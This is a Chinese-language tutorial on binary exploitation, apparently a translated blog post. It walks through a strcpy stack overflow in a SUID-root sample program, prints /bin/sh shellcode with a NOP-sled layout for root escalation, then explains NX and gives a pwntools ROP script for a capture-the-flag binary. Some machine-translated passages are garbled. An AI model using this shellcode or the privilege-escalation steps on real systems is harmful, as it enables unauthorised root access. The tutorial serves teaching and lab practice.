文章分类:二进制安全
绘画二进制0x000002攻击的艺术【ROP巫术使用】
嗨,黑客们。我又带着二进制攻击系列的下一篇文章回来了。我已经为从未使用过这项技术的人的打开了入口。我在上次的文章中保证了简单的步骤来解释这个主题,接下来依然会这样。所以如果你对二进制技术没有一点的了解,那么可以查看我的上篇文章。
1、深度解析
在上一篇文章中,我们忽略了root。接下里我要解释超级用户权限。在Linux中,没有root,我们就不能做任何事情。SUID二进制剥削固化一个二进制使用一个SUID比特设置,标准说法是"Set owner User Id"(设置用户ID)。通常用来对应用进行额外的授权。如果SUID比特位被社区,当我们的命令执行时,它实际上会获取的是记录的操作系统的所有的UID而不仅仅是正在使用的UID。所以,任何程序的操作都可以执行。
我们滥用了超级用户下的二进制文件会发生什么呢?
写一个例子,我制造了一个可执行的二进制,到以通过命令查看
find /-perm -u=s -type f 2> /dev/null
源代码如下。显然,这是一个可执行二进制漏洞的源代码,显然这是我的一个简单的例子,文件名vuln.c。有些人一眼能看明白,不过对于一些人来说仍然可以补充解释。
/** Written in C **/
#include<string.h>
#include<stdio.h>
#include<stdlib.h>
void abracadabra(char *fun) {
char data[400];
strcpy(data,fun);
printf("copied..!!");
}
int main(int argc, char* argv[]) {
if (argc != 2) {
printf("No input provided..!");
return 1;
}
abracadabra(argv[1]);
return 0;
}/** end **/
如果我们不进行任何输入,那么执行的具体代码是:
if (argc != 2) {
printf(“No input provided..!”);
return 1;
}
argv[1]是一个指向所提供命令行参数的指针。提供的输入被传递到abracadabra函数,并被输入到400大小的缓冲区。
(1)abracadabra(argv[1])
(2)void abracadabra(char *fun){
char data[400];
strcpy(data,fun);
printf("cpoyed..!");
}
一般来说这已经是足够说明是如何工作的了。但是你注意到在这段简单的代码中的漏洞了吗?如果你看过我的系列文章,你就会知道我接下来将要做什么。这段程序异常的简单,目的是为了对应真实世界的例子。大多数编程框架和编译器都有一些默认的亮点来预测缓冲区溢出问题。标准计算机上高亮的严重安全问题通常是一个美丽而又可怕的,因此我将做一个演示,公平的描述这一切。
函数abracadabra中的strcpy函数没有检查缓冲区的长度,这可能导致意料之中的内存区域重相邻目的内存地址。如果是作为一个set-root-uid程序运行,一个普通用户可以使用这个缓冲区溢出漏洞并且提升到root权限。整个函数家族,包括strcpy,strcat和strcmp也是很类似的漏洞。让我们从汇编层面深入了解这段代码。我利用python脚本分析实际的内存崩溃区。
exp通过gdb传递,并且分析EIP。记住EIP是指令指针或者32位进程的程序数量,RIP是指令指针或者64位进程的程序数量。在之前的系列文章中,我指定的是64位(RIP)。
目前的工作很简单,我能够通过一个简单的脚本分析值。
412是EIP之前的虚拟边界的最大容量。后面的比特位会被溢出到EIP。412+4(d、a、a、e)=416
我过去发现了一个合适53黛大小的shell-code。
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"
我将会写入栈中359个NOP。在计算机安全中,一个NOP可以是一个NOP(无操作)指令暗示着CPU's的指令执行流程略过它将滑动到最后目的地。我们希望推入NOP在shellcode之前填充缓冲区。
NOP 滑动窗 (359) + Shellcode (53) + eip (0xffffcd90)
溢出发生在EIP到所计算的栈结束的地址。地址集中在执行NOP指令(无操作)的栈中,最后,它会到达shellcode,这将开始执行!!
没有任何安全检测,我们转换到了最高权限的超级用户。
我做到了!
但是目前还不够,我们是时候开始另一个挑战了。从技术点视角看,我们接下来理解基本挑战ROP的意思,这一次,是64位机器。
为了找到flag,我们得转换执行流程。
在下载和运行程序之后发现,我们需要用户输入。输入或不输入的结果在例子中是相似的,输出结果显示在下面。
我也通过gdb运行了该程序,目的是为了创建一个包含执行流程的思维导图。通过跳转指令,我们可以实现获取程序的流程。
在分析二进制代码后我获取了函数pwnme的执行方向。
注意:你不应该依赖于一个特定的工具或者策略来深挖这样的例子。这是我个人的方法,接触每一部分代码,未来面对不同的环境时要学会变通,采用不同的方法。
显而易见,接下来我的步骤是进入pwnme函数。
很明显输入是从这一部分开始的。我们能不能利用这个…??
就像我们上次做过的那样,我们能在栈上注入shellcode吗??
答案是不行
但是为什么呢?
在基于栈溢出攻击的例子里面,攻击者一般可以控制堆栈的部分。在获得对程序计数器的控制之后,对攻击者继续在堆栈上执行攻击者控制的信息(shellcode)非常有用,当堆栈可执行时是可以做到的。
如果没有可执行的堆栈呢?
2、不可执行堆栈[NX]
NX是一个虚拟存储保护机制来阻塞shellcode的block块,通过限制特定的存储和实现NX位来执行。之前被利用的二进制不太安全。
NX 授权
具有NX位支持的操作系统可以将存储器的某些区域标记为不可执行。这个区域会拒绝执行驻留在内存区域的任何代码。将内存区域标记为不可执行意味着代码不能从该内存区域运行,这使得缓冲区溢出变得更加难。当NX位是打开时,我们经典基于栈缓冲区溢出的方法会导致错误使用这个漏洞。这足够难到我们什么都做不了吗?利用的过程结束了吗!?
黑客决不后退!!
现在,我要教会你一些魔法。是的,我们要开始变魔术了。
3、返回导向编程(ROP)
返回导向编程(Return-Oriented Programming)是一种安全利用策略,攻击者利用它在目标操作系统上执行代码。通过获取调用栈的控制权,攻击者可以利用控制运行在计算机上受信任的程序,并导向执行流程到栈底。他的思想是用堆栈链接控制晓得汇编片段,使程序做更复杂的事情。ROP用ret指令将程序中已经存在的小代码片段缝合在一起。
这些代码片段通过mov,pop等获取他们的断点,在这种情况下攻击者可以覆写存储在栈中的返回地址。使用主要的ROP代码的地址,这样攻击者可以链接大量的这样的代码片段来执行他们想执行的任意代码,包括控制系统代码。用这种方式,在ROP中,可以用堆栈指针充当指令指针,在每个片段结尾用red指令挑战执行到其他的ROP代码片段,这个过程类似于普通程序。
所以我们如何利用这种策略呢?非常简单,第一步先列举,后利用。我不喜欢鼓励我的读者,在某些情况下,你也需要做出一些努力做出一些我想要的。
通过利用对象dumn工具objdump,我可以测试检查一些字符串,仔细阅读flag.txt记录有利于理解这个行为。在第2雷达的帮助下,我可以清楚的看清楚视图。
之前,我主要检查每一条指令,确认程序没有调用任何与flag.txt相关的东西。他也不在任何函数中,那么我们如何面对挑战呢?
更加努力的枚举!
通过分析可用函数我发现了一个奇怪的点。一个命名“usefulFunction”的函数有系统调用。他确认客户端的参数。
4、解决办法
一旦我们提供一个参数,告诉系统函数执行“cat /bin/flag.txt”,这个关键点的挑战被发现了。我们也准备找到指向“cat /bin/flag.txt”的地址。这是有效的吗?不,我们应该执行他。所以我们应该提供内部系统函数。函数的参数以相反的顺序(从右到左)推入栈。此时,函数将堆栈弹出参数并开始起作用。
这是64位版本,寄存器的名字:
rax — register a extended 扩展寄存器
rbx — register b extended 扩展寄存器
rcx — register c extended 扩展寄存器
rdx — register d extended 扩展寄存器
rbp — register base pointer 基指针寄存器
rsp — register stack pointer 栈指针寄存器
rsi — register source index 源码索引寄存器
rdi — register destination index 目的索引寄存器在x64中函数的参数通过寄存器RDI,RSI,RDX,R10.R8和R9传递,第一个参数在RDI。我们研究x64二进制,我们可以看见我们在RDI寄存中传递单个参数到system()函数。
我们将做通过获取栈中的地址,和调用弹出的rdi地址。这是我们第一次使用ROP小工具探索。
5、漏洞利用
是时候写一个漏洞利用脚本了,这会返回一个flag给我们。因为我们找到了我们所需要的一切,所以这很简单。我很感谢你使用python构建你的exploit利用脚本,这也是我发现写exploit非常舒服很简单的地方。
1.首先填满缓冲区
2、POP rdi
3.传递单个参数(“cat /bin/flag.txt”)到system()
4.完成
from pwn import *
print("**************** Check-sec ***************") xrx = ELF('./split') print("******************************************")
payload = "A" * 40
payload += p64(0x004007c3) # pop rdi
payload += p64(0x00601060) # /bin/cat flag.txt
payload += p64(0x00400560) # sytem()
p = xrx.process()
print p.recvuntil(">")
p.clean()
p.sendline(payload)
p.recv()
p.interactive()
print p.clean()
利用的技术更上一层楼。运行脚本看看会发生什么。
结果就是我们成功的改变了程序的执行流程并且都发现了flag。
牢记:
这仅仅是一个基本的绕过NX-enabled二进制的方法。你可以按你的想法利用它。这篇文章目的是解释ROP。